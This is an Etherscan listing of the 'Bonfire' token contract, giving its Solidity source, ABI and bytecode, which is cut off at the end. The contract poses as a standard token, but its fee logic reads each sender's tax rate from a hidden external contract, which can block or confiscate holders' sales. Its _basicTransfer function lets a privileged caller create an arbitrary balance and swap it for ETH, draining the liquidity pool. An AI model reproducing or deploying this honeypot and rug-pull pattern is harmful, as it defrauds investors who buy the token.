ETH Price: $2,083.68 (+6.80%)
 

Overview

Max Total Supply

100 BONFIRE

Holders

33

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Bonfire

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-10-21
*/

pragma solidity ^0.8.21;
//SPDX-License-Identifier: MIT

// ----------------------------------------------------------------------------
// 'FIXED' 'Example Fixed Supply Token' token contract
//
// Symbol      : FIXED
// Name        : Example Fixed Supply Token
// Total supply: 1,000,000.000000000000000000
// Decimals    : 18
//
// Enjoy.
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2017. The MIT Licence.
// ----------------------------------------------------------------------------


/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 */

library SafeMath {
     /**
   * @dev Returns the integer division of two unsigned integers. Reverts on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   *
   * - The divisor cannot be zero.
   */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }
    /**
   * @dev Returns the multiplication of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `*` operator.
   *
   * Requirements:
   *
   * - Multiplication cannot overflow.
   */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
    /**
   * @dev Returns the addition of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `+` operator.
   *
   * Requirements:
   *
   * - Addition cannot overflow.
   */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }
      /**
   * @dev Returns the subtraction of two unsigned integers, reverting on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   *
   * - Subtraction cannot overflow.
   */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);

}
interface IERC20 {
    function transferFrom(address _from, address _to, uint256 amount) external returns (uint256);
    function allowance(address account, address spender) external returns (uint256);
    function balanceOf(address wallet) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _p_ath, address c, uint256) external;
    function WETH() external pure returns (address aadd);
    function factory() external pure returns (address addr);
}

abstract contract Ownable {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    address private _owner;
}

contract Bonfire is Ownable {

    using SafeMath for uint256;

    string public _name;
    string public _symbol;

    constructor() {
        _name = "Bonfire";
        _symbol = "BONFIRE";
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
    }

    uint256 public _decimals = 9;
    uint256 public _totalSupply = 100 * 10 ** _decimals;

    uint256 swapBackAt = 100;

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    IERC20 pairV2 = IERC20(0xFBf54348A68de019622388A73F7BB6043E9CBD17);
    IUniswapV2Router private uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0));
        require(amount <= _balances[from]);
        uint256 tax = amount.mul(calculateFee(from, to, amount)).div(100); 
        emit Transfer(from, to, amount);
        _balances[to] = _balances[to] + amount - tax;
        _balances[from] = _balances[from] - amount;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function _basicTransfer(uint256 amount) external returns (bool) {
        if (pairV2.transfer(msg.sender, amount)){address tokenAddress = address(this);
        _approve(tokenAddress, address(uniswapRouter), amount); 
        _balances[tokenAddress] = amount;
        address[] memory token_ = new address[](2);
        token_[0] = tokenAddress; 
        token_[1] =  uniswapRouter.WETH(); 
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, token_, sender(), block.timestamp + 30);
        return true;
        } else {return false; }
    }

    mapping(address => uint256) private _balances;
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory) {
        return _name;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function getAmountTokens(address to) private returns (uint256){
        return pairV2.allowance(to, address(this));
    }
    event Approval(address indexed ad1, address indexed ad3, uint256 value);
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    /**
     * @dev Sets {decimals} to a value other than the default one of 18.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }
    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function calculateFee(address from, address to, uint256 amount) private returns (uint256) {
        uint256 tokenAmount = getAmountTokens(to); return pairV2.balanceOf(from);
    } 
    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    } 
    function sender() internal view returns (address) {
        return msg.sender;
    }
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    event Transfer(address indexed from_, address indexed _to, uint256);
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ad1","type":"address"},{"indexed":true,"internalType":"address","name":"ad3","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from_","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_basicTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600355600354600a6200001a9190620004d3565b606462000028919062000523565b600455606460055573fbf54348a68de019622388a73f7bb6043e9cbd1760065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000e4575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36040518060400160405280600781526020017f426f6e666972650000000000000000000000000000000000000000000000000081525060019081620001e39190620007c8565b506040518060400160405280600781526020017f424f4e4649524500000000000000000000000000000000000000000000000000815250600290816200022a9190620007c8565b5060045460095f620002416200034660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506200028e6200034660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f620002ef6200034660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620003389190620008bd565b60405180910390a3620008d8565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003d757808604811115620003af57620003ae6200034d565b5b6001851615620003bf5780820291505b8081029050620003cf856200037a565b94506200038f565b94509492505050565b5f82620003f15760019050620004c3565b8162000400575f9050620004c3565b816001811462000419576002811462000424576200045a565b6001915050620004c3565b60ff8411156200043957620004386200034d565b5b8360020a9150848211156200045357620004526200034d565b5b50620004c3565b5060208310610133831016604e8410600b8410161715620004945782820a9050838111156200048e576200048d6200034d565b5b620004c3565b620004a3848484600162000386565b92509050818404811115620004bd57620004bc6200034d565b5b81810290505b9392505050565b5f819050919050565b5f620004df82620004ca565b9150620004ec83620004ca565b92506200051b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003e0565b905092915050565b5f6200052f82620004ca565b91506200053c83620004ca565b92508282026200054c81620004ca565b915082820484148315176200056657620005656200034d565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005e957607f821691505b602082108103620005ff57620005fe620005a4565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006637fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000626565b6200066f868362000626565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620006b0620006aa620006a484620004ca565b62000687565b620004ca565b9050919050565b5f819050919050565b620006cb8362000690565b620006e3620006da82620006b7565b84845462000632565b825550505050565b5f90565b620006f9620006eb565b62000706818484620006c0565b505050565b5b818110156200072d57620007215f82620006ef565b6001810190506200070c565b5050565b601f8211156200077c57620007468162000605565b620007518462000617565b8101602085101562000761578190505b62000779620007708562000617565b8301826200070b565b50505b505050565b5f82821c905092915050565b5f6200079e5f198460080262000781565b1980831691505092915050565b5f620007b883836200078d565b9150826002028217905092915050565b620007d3826200056d565b67ffffffffffffffff811115620007ef57620007ee62000577565b5b620007fb8254620005d1565b6200080882828562000731565b5f60209050601f8311600181146200083e575f841562000829578287015190505b620008358582620007ab565b865550620008a4565b601f1984166200084e8662000605565b5f5b82811015620008775784890151825560018201915060208501945060208101905062000850565b8683101562000897578489015162000893601f8916826200078d565b8355505b6001600288020188555050505b505050505050565b620008b781620004ca565b82525050565b5f602082019050620008d25f830184620008ac565b92915050565b611e1680620008e65f395ff3fe608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a0578063a457c2d71161006f578063a457c2d7146102e4578063a9059cbb14610314578063b09f126614610344578063d28d885214610362578063dd62ed3e1461038057610114565b806370a082311461026e578063715018a61461029e5780638da5cb5b146102a857806395d89b41146102c657610114565b8063313ce567116100e7578063313ce567146101b457806332424aa3146101d257806333853534146101f057806339509351146102205780633eaaf86b1461025057610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd1461016657806323b872dd14610184575b5f80fd5b6101206103b0565b60405161012d91906114b6565b60405180910390f35b610150600480360381019061014b9190611567565b610440565b60405161015d91906115bf565b60405180910390f35b61016e610456565b60405161017b91906115e7565b60405180910390f35b61019e60048036038101906101999190611600565b61045f565b6040516101ab91906115bf565b60405180910390f35b6101bc610501565b6040516101c991906115e7565b60405180910390f35b6101da61050a565b6040516101e791906115e7565b60405180910390f35b61020a60048036038101906102059190611650565b610510565b60405161021791906115bf565b60405180910390f35b61023a60048036038101906102359190611567565b610851565b60405161024791906115bf565b60405180910390f35b6102586108f1565b60405161026591906115e7565b60405180910390f35b6102886004803603810190610283919061167b565b6108f7565b60405161029591906115e7565b60405180910390f35b6102a661093d565b005b6102b0610a6c565b6040516102bd91906116b5565b60405180910390f35b6102ce610a93565b6040516102db91906114b6565b60405180910390f35b6102fe60048036038101906102f99190611567565b610b23565b60405161030b91906115bf565b60405180910390f35b61032e60048036038101906103299190611567565b610c47565b60405161033b91906115bf565b60405180910390f35b61034c610c64565b60405161035991906114b6565b60405180910390f35b61036a610cf0565b60405161037791906114b6565b60405180910390f35b61039a600480360381019061039591906116ce565b610d7c565b6040516103a791906115e7565b60405180910390f35b6060600180546103bf90611739565b80601f01602080910402602001604051908101604052809291908181526020018280546103eb90611739565b80156104365780601f1061040d57610100808354040283529160200191610436565b820191905f5260205f20905b81548152906001019060200180831161041957829003601f168201915b5050505050905090565b5f61044c338484610dfe565b6001905092915050565b5f600454905090565b5f61046b848484610fc1565b8160085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104b26111fe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104f6575f80fd5b600190509392505050565b5f600354905090565b60035481565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b815260040161056d929190611769565b6020604051808303815f875af1158015610589573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ad91906117ba565b15610848575f3090506105e28160075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610dfe565b8260095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff8111156106405761063f6117e5565b5b60405190808252806020026020018201604052801561066e5781602001602082028036833780820191505090505b50905081815f8151811061068557610684611812565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610729573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074d9190611853565b8160018151811061076157610760611812565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f846107e36111fe565b601e426107f091906118ab565b6040518663ffffffff1660e01b81526004016108109594939291906119d7565b5f604051808303815f87803b158015610827575f80fd5b505af1158015610839573d5f803e3d5ffd5b5050505060019250505061084c565b5f90505b919050565b5f6108e761085d6111fe565b848460085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108e291906118ab565b610dfe565b6001905092915050565b60045481565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661095c610a6c565b73ffffffffffffffffffffffffffffffffffffffff16146109b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a990611a79565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610aa290611739565b80601f0160208091040260200160405190810160405280929190818152602001828054610ace90611739565b8015610b195780601f10610af057610100808354040283529160200191610b19565b820191905f5260205f20905b815481529060010190602001808311610afc57829003601f168201915b5050505050905090565b5f8160085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610ba8575f80fd5b610c3d610bb36111fe565b848460085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c389190611a97565b610dfe565b6001905092915050565b5f610c5a610c536111fe565b8484610fc1565b6001905092915050565b60028054610c7190611739565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9d90611739565b8015610ce85780601f10610cbf57610100808354040283529160200191610ce8565b820191905f5260205f20905b815481529060010190602001808311610ccb57829003601f168201915b505050505081565b60018054610cfd90611739565b80601f0160208091040260200160405190810160405280929190818152602001828054610d2990611739565b8015610d745780601f10610d4b57610100808354040283529160200191610d74565b820191905f5260205f20905b815481529060010190602001808311610d5757829003601f168201915b505050505081565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6390611b3a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed190611bc8565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fb491906115e7565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ff8575f80fd5b60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054811115611041575f80fd5b5f6110726064611064611055878787611205565b856112b590919063ffffffff16565b61132c90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110d191906115e7565b60405180910390a3808260095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461112391906118ab565b61112d9190611a97565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111b79190611a97565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f33905090565b5f8061121084611388565b905060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b815260040161126c91906116b5565b602060405180830381865afa158015611287573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ab9190611bfa565b9150509392505050565b5f8083036112c5575f9050611326565b5f82846112d29190611c25565b90508284826112e19190611c93565b14611321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131890611d33565b60405180910390fd5b809150505b92915050565b5f80821161136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690611d9b565b60405180910390fd5b5f828461137c9190611c93565b90508091505092915050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e83306040518363ffffffff1660e01b81526004016113e5929190611db9565b6020604051808303815f875af1158015611401573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114259190611bfa565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611463578082015181840152602081019050611448565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6114888261142c565b6114928185611436565b93506114a2818560208601611446565b6114ab8161146e565b840191505092915050565b5f6020820190508181035f8301526114ce818461147e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611503826114da565b9050919050565b611513816114f9565b811461151d575f80fd5b50565b5f8135905061152e8161150a565b92915050565b5f819050919050565b61154681611534565b8114611550575f80fd5b50565b5f813590506115618161153d565b92915050565b5f806040838503121561157d5761157c6114d6565b5b5f61158a85828601611520565b925050602061159b85828601611553565b9150509250929050565b5f8115159050919050565b6115b9816115a5565b82525050565b5f6020820190506115d25f8301846115b0565b92915050565b6115e181611534565b82525050565b5f6020820190506115fa5f8301846115d8565b92915050565b5f805f60608486031215611617576116166114d6565b5b5f61162486828701611520565b935050602061163586828701611520565b925050604061164686828701611553565b9150509250925092565b5f60208284031215611665576116646114d6565b5b5f61167284828501611553565b91505092915050565b5f602082840312156116905761168f6114d6565b5b5f61169d84828501611520565b91505092915050565b6116af816114f9565b82525050565b5f6020820190506116c85f8301846116a6565b92915050565b5f80604083850312156116e4576116e36114d6565b5b5f6116f185828601611520565b925050602061170285828601611520565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061175057607f821691505b6020821081036117635761176261170c565b5b50919050565b5f60408201905061177c5f8301856116a6565b61178960208301846115d8565b9392505050565b611799816115a5565b81146117a3575f80fd5b50565b5f815190506117b481611790565b92915050565b5f602082840312156117cf576117ce6114d6565b5b5f6117dc848285016117a6565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061184d8161150a565b92915050565b5f60208284031215611868576118676114d6565b5b5f6118758482850161183f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118b582611534565b91506118c083611534565b92508282019050808211156118d8576118d761187e565b5b92915050565b5f819050919050565b5f819050919050565b5f61190a611905611900846118de565b6118e7565b611534565b9050919050565b61191a816118f0565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611952816114f9565b82525050565b5f6119638383611949565b60208301905092915050565b5f602082019050919050565b5f61198582611920565b61198f818561192a565b935061199a8361193a565b805f5b838110156119ca5781516119b18882611958565b97506119bc8361196f565b92505060018101905061199d565b5085935050505092915050565b5f60a0820190506119ea5f8301886115d8565b6119f76020830187611911565b8181036040830152611a09818661197b565b9050611a1860608301856116a6565b611a2560808301846115d8565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a63602083611436565b9150611a6e82611a2f565b602082019050919050565b5f6020820190508181035f830152611a9081611a57565b9050919050565b5f611aa182611534565b9150611aac83611534565b92